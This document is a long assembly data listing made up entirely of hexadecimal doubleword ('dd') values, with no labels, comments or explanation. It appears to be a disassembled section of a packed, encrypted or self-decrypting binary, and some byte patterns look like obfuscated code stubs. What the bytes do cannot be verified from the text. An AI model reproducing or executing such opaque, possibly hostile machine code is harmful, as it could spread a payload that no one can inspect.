		dd 0E94C2D49h, 14h, 9801EE65h, 39F45F46h, 7B08446Ch, 5F3270DDh
		dd 53DBD340h, 0CE953h, 2DAC0000h, 81810707h, 0E0FD647Bh
		dd 48FA44Fh, 0AE96039h,	0FC000000h, 83D0918h, 0C9114B7Ah
		dd 0CABF0F5Eh, 0DE961h,	1DFC0000h, 0DF284C51h, 7AAC6E74h
		dd 8367E5E7h, 664F03EFh, 81377ABEh, 0FF9948FFh,	28850FFFh
		dd 60000000h, 800F51h, 5E000000h, 58B0Fh, 0ADBF0000h, 616677BFh
		dd 24E9h, 0B8AE2300h, 114CE839h, 630A1F44h, 8B83ADDEh
		dd 0FF30E9D6h, 0D517FFFFh, 0CD9E0871h, 0A5A3408Fh, 0EAF33E03h
		dd 7E8E9h, 8DD30000h, 6C969D9h,	5880F17h, 66000000h, 9FA5D181h
		dd 0BF0F605Fh, 0BE9FEh,	28A50000h, 6333227Eh, 1FFEF111h
		dd 0C7816144h, 585Ch, 44FBBEF9h, 0F6813C9Ch, 3C9C5102h
		dd 0A6C9B966h, 0D08A37FFh, 0F281665Bh, 0EB8150BEh, 33FCC293h
		dd 2BEB81F9h, 0B96EBA39h, 7959F8B1h, 65BFEB81h,	665331B1h
		dd 8F56B8BAh, 0D38B6607h, 6604EF83h, 0EE83D18Bh, 0C5850F01h
		dd 80FFFFFFh, 8D8DA9E5h, 5EA9A30h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 8EC35040h, 90DCB166h, 16E89357h
		dd 895F53FAh, 0E410958Dh, 0FD9D8B05h, 0C705E40Fh, 0E42C6585h
		dd 59C805h, 0CF08100h, 0C7405FEAh, 0E430FD85h, 5, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0D4CE7398h, 0ADB5896Ah, 6005E414h, 60DFBF0Fh, 26D5BD09h
		dd 5F5205E4h, 0B5FF6161h, 5E4021Dh, 6810F60h, 8B000000h
		dd 0E417559Dh, 14E96005h, 79000000h, 0E6D1555Eh, 76B79A30h
		dd 0AC741532h, 0FCBDA3D8h, 8BA57B70h, 0E4102985h, 0FF616105h
		dd 0E42A6195h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0B8661808h, 6A03CCh, 10C195FFh
		dd 0C08B05E4h, 0BFC96BEBh, 87E4D3BBh, 3AB33D82h, 0A66ECE6Dh
		dd 0DE39E678h, 44EFEEABh, 3DC619EDh, 9A18572Fh,	0DCD9260Fh
		dd 0E4477538h, 0B45A6FFBh, 17C33E53h, 3D008124h, 0E248B4B9h
		dd 2FE3DBC3h, 5870A39Dh, 5B62D9B4h, 0ECE5CA33h,	51870922h
		dd 0F3497FD6h, 45B5DFFh, 0A051A936h, 82826A2Bh,	0E0DD6BAAh
		dd 0E4A8A96Fh, 0F201083Ah, 541D511Ch, 418D8D61h, 8005EA9Bh
		dd 8D892ED8h, 5E41095h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0EEC35242h, 0C7D88A99h, 0E42C6585h, 5A5405h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0E6E775D8h, 895A26FEh, 0E4237DBDh, 99BD3105h
		dd 0C705E413h, 0E430FD85h, 5, 9DBD8900h, 6605E414h, 0C48AF681h
		dd 240DB5FFh, 9D8905E4h, 5E427F5h, 42A2BF50h, 0FF585662h
		dd 0E42A6195h, 3BDF8105h, 6A55A57Bh, 0C195FF00h, 8B05E410h
		dd 2F39EBC0h, 3DE1045Ch, 6C86EE90h, 0C7F4BDEBh,	0AC6320FBh
		dd 0FDF5A719h, 4F628587h, 0C06C3596h, 0A223BDE8h, 844E5035h
		dd 0BF1954B5h, 496875CBh, 7FAFBE46h, 0C69E7368h, 0D31BF1A4h
		dd 9C408D8Dh, 9D3105EAh, 5E426F1h, 10958D89h, 12E905E4h
		dd 0DF000000h, 1FC23803h, 0B5465E38h, 0FC8091EEh, 3CB1C6A5h
		dd 6585C752h, 9405E42Ch, 6A00006Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0B0E5C353h
		dd 0FD85C735h, 5E430h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9590C352h
		dd 0E929771Bh, 14h, 0F6380748h,	0F77EF733h, 34BDABE3h
		dd 0E7046A9Dh, 384FC49Fh, 1611B5FFh, 816605E4h,	0FFC2FBF0h
		dd 0E42A6195h, 0A99D8905h, 0E905E417h, 0Ah, 79B36AC2h
		dd 0D17227Ah, 6A45C4h, 10C195FFh, 0C08B05E4h, 72037AEBh
		dd 0FDA4C207h, 0B05527A0h, 9F121C45h, 0F9B07959h, 487491FAh
		dd 3A10D22h, 3933605Ah,	0A3228E61h, 69075FCFh, 0D0DCF15Fh
		dd 0BC02A23Eh, 0A78BD844h, 0C08EAF87h, 6B33AABAh, 0A6737084h
		dd 2E3996ABh, 0D9E99747h, 70BA460Dh, 3721DBA9h,	7CC040F6h
		dd 8A29703Ah, 0B1B891Ch, 0D95D05ABh, 5FE74499h,	0AFA6AFEFh
		dd 0CE558D77h, 48B8A7E6h, 502F6006h, 24D3FBB8h,	7589EE7Dh
		dd 12E8h, 2CA0FC00h, 0B3F74E15h, 8B471274h, 7B1AC5F4h
		dd 890408C7h, 0E41205BDh, 12E95B05h, 5000000h, 5BB5F5EFh
		dd 6E7EBC3Ch, 8FC45F56h, 1B8ED8D1h, 76C381B6h, 0BF00006Fh
		dd 0
		dd 1C1DB589h, 348B05E4h, 0EE81FC3Bh, 187F4862h,	2061958Bh
		dd 0EE8105E4h, 1F130A15h, 8318D8Bh, 0C68105E4h,	72AD7C24h
		dd 0F956CC8Ah, 0B13B048Fh, 63EF8188h, 5173D33Fh, 815AEE8Ah
		dd 0D33F5FC7h, 0EE973h,	19690000h, 5E08B1FAh, 0A368CF56h
		dd 0FA69F80Dh, 9150FF81h, 850FFFFFh, 16h, 0E972CD80h, 27h
		dd 443050D7h, 68720A0Ch, 45F9856Ch, 9BB4C71Bh, 0FFFF89E9h
		dd 13672FFFh, 766D12AAh, 96A46D08h, 0BFDEE5ECh,	8D3D8926h
		dd 0EA9E7C8Dh, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0C92CB43Dh, 1EE59509h
		dd 8D8905E4h, 5E41095h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 78C35646h, 85C7FDFCh,	5E42C65h, 62B8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0DEC35545h
		dd 0A45AE06h, 77038B1h,	111DBD0Bh, 85C705E4h, 5E430FDh
		dd 0
		dd 81BD8960h, 8B05E417h, 0B5FF61F3h, 5E42031h, 14E8h, 45FB4A00h
		dd 7F8693F5h, 2EB586B9h, 73470ACBh, 0C415826Fh,	89858B8Dh
		dd 5B05E425h, 2A6195FFh, 6A05E4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 756AF4C3h, 10258529h
		dd 6A05E4h, 10C195FFh, 0C08B05E4h, 8C01EEBh, 41517807h
		dd 7E70D902h, 760A78BAh, 695CC20Fh, 0FD544916h,	0C7382E90h
		dd 0EF1C1FFh, 2A4985C6h, 685605E4h, 0A9C530DFh,	26F5B5FFh
		dd 858D05E4h, 5E76D30h,	8D8DD0FFh, 5E400C5h, 0FF406A51h
		dd 0E40959B5h, 0C9B5FF05h, 0FF05E41Ch, 59B5FFD0h, 0FF05E409h
		dd 0E41CC9B5h, 0FE805h,	0F8D90000h, 75CEE215h, 0D1BBF57Dh
		dd 26FA9C6Ch, 8358589Eh, 2CC104E8h, 24C10224h, 4030224h
		dd 241CF724h, 68h, 148B5900h, 0CAF28108h, 8148EBF9h, 995502C2h
		dd 54C28115h, 8953BEABh, 0E9830814h, 49494901h,	0F240C3Bh
		dd 0A85h, 11E900h, 760C0000h, 0E9C991A9h, 0FFFFFFCAh, 241F9ECAh
		dd 8D8A4109h, 0E402C99Dh, 0B038B05h, 7840FC0h, 8B000000h
		dd 45B8B03h, 0C98B1889h, 0A0118D8Dh, 0E95605EAh, 0Ch, 0C25AD506h
		dd 8DE84F9h, 68C1E445h,	958D895Eh, 0F05E410h, 8AB0FFBFh
		dd 2C6585C7h, 67FC05E4h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 85C786C3h, 5E430FDh
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5DC35545h
		dd 0DE46E9DAh, 51F72CDAh, 1611B5FFh, 8D8905E4h,	5E4037Dh
		dd 2A6195FFh, 6A05E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0C27EC8C3h, 6A7AC2B5h, 0C195FF00h
		dd 8B05E410h, 847AEBC0h, 25F1E600h, 2E449A37h, 0A8E34664h
		dd 4B52586Eh, 0E7E5CA9h, 709BBAF3h, 66694CC0h, 103E4EEAh
		dd 0CF675BF6h, 4BBC5773h, 0F5E36963h, 14EFFE41h, 2E6E86D0h
		dd 7E3EF4EEh, 33850E78h, 2ECA724Ch, 15BC6912h, 0FE74EFDEh
		dd 0B2F629A4h, 33346BC3h, 0D95CD2CDh, 1FF2827Ah, 0C463B828h
		dd 0F9F7E443h, 19C58D67h, 5CAEFF6Eh, 1506E755h,	0E66F37E0h
		dd 0B856A1F6h, 1F092A91h, 15FE9F9h, 8B520000h, 0E860D4h
		dd 5D000000h, 0A09EED81h, 428B05EAh, 38453D08h,	850F7826h
		dd 138h, 8B0C428Bh, 0C8D3184Ah,	0EC4C6DBBh, 83C3332Bh
		dd 858904E8h, 5E41095h,	8B04588Bh, 10428BF8h, 0D3184A8Bh
		dd 0E217BEC8h, 0C633DBFBh, 0E083C72Bh, 4E883FCh, 2C658589h
		dd 428B05E4h, 0FD858914h, 8B05E430h, 0E9531842h, 0B0h
		dd 229DB5FFh, 0B9E905E4h, 0FF000000h, 0E43179B5h, 0AEE905h
		dd 0B5FF0000h, 5E425F5h, 0A3E9h, 5DB5FF00h, 0E905E400h
		dd 98h,	22FDB5FFh, 8DE905E4h, 0FF000000h, 0E4021DB5h, 82E905h
		dd 0B5FF0000h, 5E42DBDh, 77E9h,	0FDB5FF00h, 0E905E426h
		dd 6Ch,	1001B5FFh, 61E905E4h, 0FF000000h, 0E41381B5h, 56E905h
		dd 0B5FF0000h, 5E402D9h, 4BE9h,	8DB5FF00h, 0E905E407h
		dd 40h,	31EDB5FFh, 35E905E4h, 0FF000000h, 0E41611B5h, 2AE905h
		dd 0B5FF0000h, 5E4240Dh, 1FE9h,	31B5FF00h, 0E905E420h
		dd 14h,	0BB8D88Bh, 66000000h, 8D8DE3F7h, 5EAA0FFh, 0E1FFC803h
		dd 2A6195FFh, 8B5B05E4h, 0E4109585h, 4583905h, 0F850Fh
		dd 6A530000h, 0C195FF01h, 5B05E410h, 0FFFFE2E9h, 0C35A61FFh
		dd 6AB85A61h, 0FF77D4C9h, 0D5858BE0h, 8D05E427h, 0EAA1ED8Dh
		dd 1418905h, 13E8C38Bh,	80000000h, 0A40182E3h, 0CB96FDAAh
		dd 0B01EF392h, 9163B314h, 0F280C4A3h, 5E859BDh,	31000000h
		dd 95C1BB05h, 12E8h, 0ADCCD200h, 21E70619h, 4C7B690Bh
		dd 37EDE2DAh, 0FCA2A052h, 0C1815E5Eh, 69F8h, 51EADE81h
		dd 0BB4CADh, 0F000000h,	34FFFAB7h, 0F38B660Bh, 81F08B58h
		dd 0BA51FBC0h, 14F08127h, 0BE452A5Eh, 520111E4h, 0A95CC081h
		dd 6E97F84h, 7B000000h,	3425DC14h, 19048985h, 83FE8B66h
		dd 0CA8104EBh, 182B2209h, 969CFB81h, 850FFFFFh,	0FFFFFFBAh
		dd 0E9D08B66h, 0ABh, 3F2E8D50h,	5F72B11Ch, 0A7ACABDAh
		dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h
		dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah
		dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h
		dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h,	0F653F545h
		dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h
		dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h
		dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh,	0E1B6F66Dh
		dd 0ED7293BCh, 0E80097B3h, 94E7A601h, 1083323Dh, 0E93C8110h
		dd 1346h, 0EAA51468h, 0DA64E905h, 0D68FFF9h, 0E905EAA6h
		dd 0FFF9DA5Ah, 0EAA6BA68h, 0DA50E905h, 6F68FFF9h, 0E905EAA8h
		dd 0FFF9DA46h, 0EAA91268h, 0DA3CE905h, 0C468FFF9h, 0E905EAA9h
		dd 0FFF9DA32h, 0EAAA8368h, 0DA28E905h, 7968FFF9h, 0E905EAABh
		dd 0FFF9DA1Eh, 0EAAC7468h, 0DA14E905h, 0D368FFF9h, 0E905EAADh
		dd 0FFF9DA0Ah, 0EAAEA168h, 0DA00E905h, 4168FFF9h, 0E905EAB0h
		dd 0FFF9D9F6h, 0EAB16868h, 0D9ECE905h, 0E68FFF9h, 0E905EAB3h
		dd 0FFF9D9E2h, 0EAB3E768h, 0D9D8E905h, 0D99AFFF9h, 77E33F5Eh
		dd 8435EDF0h, 0D6988205h, 6DE03A5Dh, 7B3AD3F2h,	0AD30AF2Eh
		dd 4746C175h, 0FB9A1DDBh, 0AE31A82Fh, 0ED4FB017h, 4F54EF88h
		dd 0C0776239h, 62E97349h, 2491E4EBh, 399EE7A6h,	0BD54E8FCh
		dd 0FB9597E8h, 0C67754E8h, 0AB9C5F4Bh, 0FC482E11h, 278354E8h
		dd 0E35132FBh, 3FBA33F8h, 0DD000000h, 2AED6FD8h, 0A6C07BF0h
		dd 0BDAB730h, 0E908413Ah, 0E753BD54h, 34094860h, 54E90836h
		dd 0DF1045B6h, 7D45A8Dh, 507F54E9h, 7AE8CF1h, 0CD0E54E9h
		dd 935A4600h, 33F8EBB0h, 0CED9h, 0C0777C00h, 64E97349h
		dd 17F6DFEDh, 4E64C2Eh,	0AA67A84Fh, 9059EB60h, 5F904319h
		dd 0C178FF0Dh, 0CF51041Eh, 53B4F10Eh, 0F25F90B8h, 150512D3h
		dd 7AF14F05h, 9146DCC3h, 5E174216h, 370479DCh, 4C54E930h
		dd 25DDA366h, 0FD5610F9h, 2C9F3EF1h, 0D12EF173h, 5AD0553Ah
		dd 1AFD3Eh, 0FD7CFB4Dh,	9C0374EFh, 3615E3Dh, 614F0754h
		dd 34B9E5AEh, 13A92294h, 45E40339h, 7CB1A016h, 0E1FA20Bh
		dd 0A8202221h, 10F3C9h,	79F06300h, 8B0CCC56h, 0DC5B1E04h
		dd 74EF61B9h, 8D04C951h, 0F7A21D0Ah, 5EC4CB46h,	0A47E619Eh
		dd 812B536h, 3EC5C843h,	8B14166Fh, 0EA9054EFh, 106DCCBDh
		dd 4F04E612h, 0DAC443F2h, 0E352BC19h, 32B96164h, 0D84314BBh
		dd 0D52AED6Fh, 54E90860h, 411BDCh, 0DC9E562Ah, 0F7B09A1Dh
		dd 0AC91743Dh, 54E9C9CEh, 0C320ED2Eh, 54E9CA5Dh, 81E9E8h
		dd 29EF6601h, 0FF23AF68h, 0F9794D36h, 8E4C5633h, 0AC15400Dh
		dd 40000000h, 7349C077h, 0DFED64E9h, 4E9FF68h, 5B40F74Fh
		dd 4E9086Ah, 7EB3644Fh,	9514C35Fh, 0D2849EC7h, 77477D59h
		dd 45400AF9h, 0F6742188h, 963B17h, 0AA9B1CCh, 0B481FE41h
		dd 1054E9B9h, 10CDB8DFh, 763D3F00h, 7CBF54E9h, 0CF7B440Bh
		dd 0A55AD01Bh, 0C6779372h, 0E33F8E4Bh, 4AD0F772h, 0C3A19E8Bh
		dd 214F071Ah, 0B33CBDEEh, 0B822219Bh, 0FFA5110h, 0F97A0000h
		dd 17C35F7Eh, 0A4150D90h, 0F678A225h, 0DC05A7Dh, 9B1AF392h
		dd 0CDD04F0Eh, 6766E155h, 1BBA3DBBh, 0CED1480Fh, 0D6F5037h
		dd 6F54EF8Ch, 0C6774219h, 19DE444Bh, 776EFF9Eh,	0E97349C0h
		dd 0FE24EB62h, 7312FF78h, 15A72297h, 0C6C940F7h, 5B1A00E7h
		dd 6E578CDCh, 4F04E60Ch, 9FEAA768h, 37B56230h, 10526F50h
		dd 0F12254E9h, 4157D827h, 1E044C73h, 8675DE59h,	0BB844BC9h
		dd 4757323Ah, 1E9950BAh, 0E3D45704h, 279288C9h,	7EDB08A0h
		dd 9D40C2BBh, 767CEEA0h, 6225164Ch, 9538B338h, 6E4FCE8Dh
		dd 2FB6898Fh, 4D9958F0h, 0CD00000Fh, 160C930Ah,	78A225A2h
		dd 0CB5776F1h, 130F8E09h, 77A027A2h, 659C5148h,	0BB34B862h
		dd 0CF480E14h, 62E552C8h, 0B885C463h, 54EF8BBAh, 77174C3Ah
		dd 73EC60C0h, 0D6B9EA59h, 0B09608CCh, 200D12B5h, 521D79AAh
		dd 54BA943Bh, 51705835h, 33AF8DF2h, 0CA0D4F05h,	56FDAA01h
		dd 0A98BF4E1h, 0B4F0533h, 0E3A297C8h, 0E240BD1Ch, 424F0533h
		dd 82FFC491h, 2954E946h, 0E9C37AF1h, 4814107Ah,	1AD2DD4Ah
		dd 0C3C235B1h, 0B936A6FCh, 22A01DDCh, 38B72763h, 36B7885Fh
		dd 0B65ACDB9h, 346E7745h, 0BFB40487h, 0B18BEDD2h, 64C64F05h
		dd 948EF53Ch, 74FF2E15h, 0E8000000h, 0A5363409h, 62D64F05h
		dd 5736F9E5h, 5A50C6Eh,	0EAA7684Fh, 0ED6FD8EDh,	3283D52Ah
		dd 0D03A54E9h, 0C9CEC898h, 214D068Bh, 0C39910C7h, 2278DF10h
		dd 0F779A1B4h, 0F625077Ch, 548754E8h, 0B10B8C4Ah, 0A48E5182h
		dd 652C869Ah, 92359E96h, 11136C33h, 9354E96Ah, 0AA8EF7A0h
		dd 6E54E969h, 0B36F6EE9h, 0AF368205h, 6A75F7C8h, 4F754E9h
		dd 0E26144Bh, 0D8430000h, 24067F6Fh, 804F04E6h,	4ABB1A4Fh
		dd 54EF892Ah, 23017EDDh, 8154EF89h, 36F9854Eh, 0D8C4B57h
		dd 8ECF2B8Ah, 574B34BAh, 74E32FE8h, 0AC831AECh,	0C035B19Ah
		dd 0AB00FDE8h, 56D1862Ah, 106D3065h, 5ADA2DB5h,	31FFE31h
		dd 0FC7E4754h, 0A34F04ECh, 4ECE042h, 0EF9B5C4Fh, 0F5D4FB2Ch
		dd 1EAA2DADh, 0FBD14A0Ch, 50BA1748h, 948609Bh, 4D0B5D11h
		dd 1045FECAh, 0B93BF447h, 203CE9D6h, 975854E9h,	3F9BC9D6h
		dd 5B1ABE1Ch, 0D98h, 0B9DC5718h, 6F6EE961h, 1C8306B3h
		dd 0B4DB5406h, 6D70EF6Eh, 29ACFDB8h, 43F32FAEh,	9359C1C4h
		dd 2EAD7518h, 329128AFh, 0EF8E6FCDh, 0E0BFCD54h, 12106DCCh
		dd 924F04E6h, 0A67920B8h, 0F82D82AEh, 0FA50D61Fh, 0A21B4F04h
		dd 0B0257D20h, 0B4895C39h, 54EF9C61h, 6CC4739Dh, 0E55E6AEDh
		dd 0F62B18B0h, 0ECD1B017h, 54EF9C8Eh, 26602DEEh, 4B5736B1h
		dd 86BD0F8Ah, 0EB60BACDh, 0C375AD70h, 16C37048h, 4E5E1742h
		dd 0EF9BF371h, 25977154h, 410479AAh, 0D3AE037Ch, 3B80735Ah
		dd 22152CDEh, 0F5BA7BD1h, 6500000Ch, 0CE547BF2h, 100A8D0Ah
		dd 63BFDE59h, 0CB5776F1h, 1F088F0Ah, 0CD4409A0h, 639C50CAh
		dd 0B730A67Ch, 0CA4D0A10h, 106D3CCBh, 54EF8F12h, 77BF1492h
		dd 72ED60C0h, 94445E01h, 0CB8AB913h, 4E678FAh, 5603F44Fh
		dd 0F873F802h, 2A5674E0h, 14CDA0E3h, 750C92Eh, 0D80C0000h
		dd 4B2AED6Fh, 7E37EC6Fh, 0CDAF8Eh, 0F039F923h, 1ADAC054h
		dd 538407B4h, 543BFC86h, 4F0E894Eh, 0B663E653h,	0CD4C0B17h
		dd 225D100Ah, 0D8F05D96h, 0B22DA1F9h, 0F89698D9h, 0DDC554EEh
		dd 46359E19h, 7B440B89h, 5AD30AFEh, 0AE29AC76h,	0CF9B7C7Dh
		dd 0A8202215h, 0C43C9h,	8900B300h, 0DB5C1C06h, 6CEB6EB4h
		dd 843FB169h, 0DD541901h, 47526DBAh, 0AE741B96h, 0F42EB12Eh
		dd 58C2C546h, 0CE751893h, 8EC4A69Fh, 5A2054EFh,	50C0770Dh
		dd 0AEEC7E7Ah, 84D409A1h, 0E6FF166h, 0F343B495h, 211DAFE0h
		dd 0E55E979Bh, 162E157Ch, 6A2h,	0E5CC5241h, 2EE74F04h
		dd 8E94E9ACh, 3554EF88h, 0ECE96BEDh, 0F55452F2h, 0F5F15A8Fh
		dd 3A774302h, 58DA2B92h, 0D454EEECh, 0AD5D3763h, 306A3D96h
		dd 859D00BBh, 0F4F74ED6h, 2C3ABA49h, 0B6E04363h, 2B14D329h
		dd 54EFA849h, 0C23768ABh, 7B3EFF6h, 0AB64D780h,	20196629h
		dd 945AD3BAh, 1A4FC88Ah, 1500645Dh, 3C855722h, 0B84h, 0C5C843F4h
		dd 7B1A9D5Dh, 28AF2AAFh, 0C0C740F2h, 791C9B5Ah,	0D59811ACh
		dd 6FEF3B5Ah, 8735EDF0h, 0D2998104h, 0DE8D345Bh, 0EF9083E1h
		dd 0CC9BE154h, 3C50C077h, 5DBCA2F1h, 6AE13B17h,	26AFAD63h
		dd 9645E7F5h, 0C15E4F0Eh, 93459108h, 0C19BCC29h, 56AFBC3Bh
		dd 4F0560D4h, 1EAA9F50h, 0FACE490Ch, 935B4723h,	451F0359h
		dd 609B99E6h, 0FF194F05h, 79EAFE79h, 0F87FFA04h, 54A673E0h
		dd 2E1547EFh, 5B118h, 6FD8BF00h, 6F4B2AEDh, 0DAB37F11h
		dd 4E0D1932h, 8D46FDCFh, 0F038D3A4h, 1DC03354h,	72F564BEh
		dd 7FFE7D99h, 9215C258h, 11136C33h, 9354EEF9h, 1B9446A0h
		dd 43251ABEh, 6E54EEF9h, 5692AB1h, 38096B54h, 0A86B54EFh
		dd 7266D56Eh, 0E6F76018h, 0CB3C37A3h, 0A43E3B04h, 8E6D5AD3h
		dd 13A3B3B1h, 15FE314Fh, 0E201A669h, 9221512h, 0A8EE243h
		dd 4D0E0000h, 0E357B3D2h, 30B96164h, 4A0C16B9h,	0E154CED1h
		dd 7B66766h, 21A42392h,	0DBFA75F9h, 8F0E894Fh, 22A52493h
		dd 79FBC49Bh, 0FB54EF91h, 0C077D68Dh, 0DE278649h, 4F04E65Ch
		dd 4FB017D8h, 4F04E5EDh, 89C38C4Fh, 0E463D2C8h,	0E868EF2Bh
		dd 2DEC068h, 5C6CA19Ch,	39930CCEh, 0A236B123h, 874FB317h
		dd 0C20B7755h, 2E14CD81h, 5EF52802h, 107AF567h,	5C39B2BEh
		dd 4C561h, 95584200h, 0CE49001Ah, 0D1525405h, 0E24F04E5h
		dd 0EFD0B735h, 54EF8977h, 9912C4DEh, 704D10C3h,	54EF87F2h
		dd 0AAD48172h, 0FEC7A669h, 54EF887Ch, 2C56D198h, 435F2EEBh
		dd 13721594h, 6AF0D8C7h, 0B51E9CE1h, 516BE269h,	6530AB64h
		dd 0F977E7F8h, 5D3CE3D4h, 4FA381FEh, 0CE0154EFh, 0C98205B4h
		dd 0D37943E8h, 2692885Ah, 7FD80BA1h, 55F69973h,	64EDC768h
		dd 9E778A33h, 0C0882215h, 99361h, 0D9500300h, 6BEC6CB6h
		dd 0BC3BBE64h, 0D44F0119h, 6DE469B1h, 9702BD6Ah, 0FE24AB26h
		dd 44DEC17Eh, 0A8721596h, 9E25A823h, 9274F6CFh,	8AF054EFh
		dd 63D6CCDDh, 68EF2BE4h, 42F42EF1h, 9740F3C9h, 39B027C5h
		dd 5DD499A3h, 0FE79FD0Fh, 4CB416EAh, 6D95F584h,	0E1DECF8Ch
		dd 4F04E683h, 5753CA81h, 5A8F0ECDh, 0AF946669h,	0D82E14C9h
		dd 148h, 50C0777Fh, 53ECC67Ah, 1F1D6219h, 9D4F056Eh, 0A434695Ah
		dd 0F477E53Dh, 11AB2CAAh, 0AE2D6922h, 7B445106h, 4F056DF9h
		dd 7547B87Bh, 0AB0A8DFEh, 6E79FBC4h, 38FB4F05h,	0A1239C5Fh
		dd 844081FEh, 73A454E9h, 8480E659h, 7FCB54E9h, 6B89FA33h
		dd 2FF233F9h, 25000000h, 67F6FD8h, 4F04E624h, 0BB1A4F80h
		dd 0E907F14Ah, 0CB8A4D54h, 0C8E01FDFh, 251ABE1Bh, 54E90843h
		dd 3DF43C8Eh, 33F8EB46h, 0A4B7h, 0C077E600h, 6775EE60h
		dd 7B73C5F5h, 0C237559Ch, 62D4CE91h, 5CDF9DE9h,	5E7AD70Ch
		dd 3AD2B77h, 5182D651h,	0E657B31Ch, 0CCB516Bh, 0BC963F8Dh
		dd 646C300h, 8E8845E8h,	0A38F4EC9h, 0CF3138ABh,	18AF6896h
		dd 59A4A27h, 8A0DCA4Fh,	45C7B00Bh, 2E13BD82h, 0AE6154ECh
		dd 8702B3EFh, 0DC5B1A00h, 3DCC449Fh, 4021AB1Ch,	834h, 15B833A4h
		dd 0CBCA4D0Dh, 781F9A5Fh, 10B730A2h, 0C9CC4B0Ah, 8548615Ch
		dd 0DF9F8B0Ah, 77E53DA0h, 8249D1F4h, 0AEFD840Bh, 0EF92D351h
		dd 7C2B5154h, 444BC677h, 0FF9E19DEh, 49C0776Eh,	5FD89C86h
		dd 0A3FFE6F2h, 0C259B534h, 0C8D304DFh, 0FC7BA770h, 8F9B5A7Dh
		dd 0C2000002h, 2AED6FD8h, 0E8ED90D5h, 5502EC54h, 87F87FFBh
		dd 5FC10652h, 0EA54E8EDh, 0BC3BBFEBh, 0D18BF7D3h, 0CF8803C9h
		dd 0F8D098EBh, 235C133h, 0CC140000h, 0E612106Dh, 0A1924F04h
		dd 0E5B08FF4h, 0AC34F04h, 6AF8C588h, 0A54EF89h,	5F1C06C9h
		dd 76AC73DCh, 0DB4746C1h, 92CF9D1Ch, 6AC83525h,	0CA54EF88h
		dd 0C71D409h, 5AD3B0E7h, 36E7C437h, 0C9221547h,	766A203h
		dd 65D60000h, 0BB3FEBEAh, 0C881993Ch, 62D44E51h, 0B93CE6E9h
		dd 2F8E9F3Eh, 597CFB7Ah, 0F3920DC1h, 0A726A117h, 5A7DFC7Bh
		dd 0A183FCA3h, 354EF93h, 0C0772E65h, 62E97349h,	8F4BD1EBh
		dd 2EAAB008h, 0ED4F13A9h, 0CC9E6DA5h, 37B625C4h, 0C8E1A290h
		dd 980A2E14h, 4D000001h, 7461D6CCh, 4E6290Bh, 17488B4Fh
		dd 0D9C58E45h, 3BC19B12h, 2F9A3DBCh, 9C1FDD76h,	632217CCh
		dd 0E5C1A39Ch, 0F0234F04h, 9A7F4027h, 0DA54E8FCh, 0FBB8BA8Bh
		dd 0BE6454E8h, 0A63800F8h, 2731EB97h, 0F79A99C0h, 3D8FC035h
		dd 0E9C7240Ah, 0D86AE054h, 10C39912h, 0FB7F8DDFh, 359D6C7Ch
		dd 0D4B605CDh, 0AE1E65ACh, 514F33F9h, 8E000000h, 2AED6FD8h
		dd 0E5F87A4Bh, 0A7144F04h, 235F9424h, 0B1D60FE9h, 70A5490Ah
		dd 86FFC0A7h, 0F654E99Eh, 0F42EB705h, 41F2C641h, 99C9AF94h
		dd 8C4B54E9h, 28ADBF0Dh, 6758D398h, 0BDE5BF55h,	237F6675h
		dd 705A37B2h, 7D8AF930h, 0C8F333F9h, 1A000000h
		dd 0ED60C077h, 2AAB0172h, 53EEF1C0h, 0DAB7D53Ch, 8E9B3DB0h
		dd 0A888D437h, 0C713F227h, 0EC5C8406h, 2AAE6BD9h, 88205B10h
		dd 0E96BC572h, 0B4E95A6Eh, 82632C11h, 64D34F05h, 8783E2E5h
		dd 43FC7ED2h, 39F6450Eh, 0DDEBD4BBh, 6C54EBA4h,	9E504C06h
		dd 450E93D1h, 0B17F639h, 6EFCCC4Bh, 0E43E73ECh,	491CF972h
		dd 383A0BEAh, 0B454EAF3h, 0C98C9643h, 89684F4Eh, 0EAF2B6B4h
		dd 0B9C53654h, 0B3DFB833h, 29268702h, 1E1C3DC4h, 5C6FBBAh
		dd 85360000h, 0DB9F8B0Ah, 68E1395Ch, 8234EEF1h,	0D99C8609h
		dd 0CFEE3F5Eh, 0F99C1BDAh, 9332AD21h, 4746C177h, 0FA9D1CDBh
		dd 41231C43h, 0A354EF96h, 0C6778EC5h, 19DE444Bh, 776EFF9Eh
		dd 75EE60C0h, 2592A800h, 1748CF8Bh, 2CF170h, 0CC240000h
		dd 0D4E463D6h, 0E368B21Fh, 21128D41h, 43FA718Bh, 207ADB69h
		dd 0AB9830ABh, 5DBCE4EEh, 19781F9Eh, 79D24D01h,	3146h
		dd 0D6CC9100h, 1CD7E562h, 69E057B3h, 0E68BEC53h, 12B84F04h
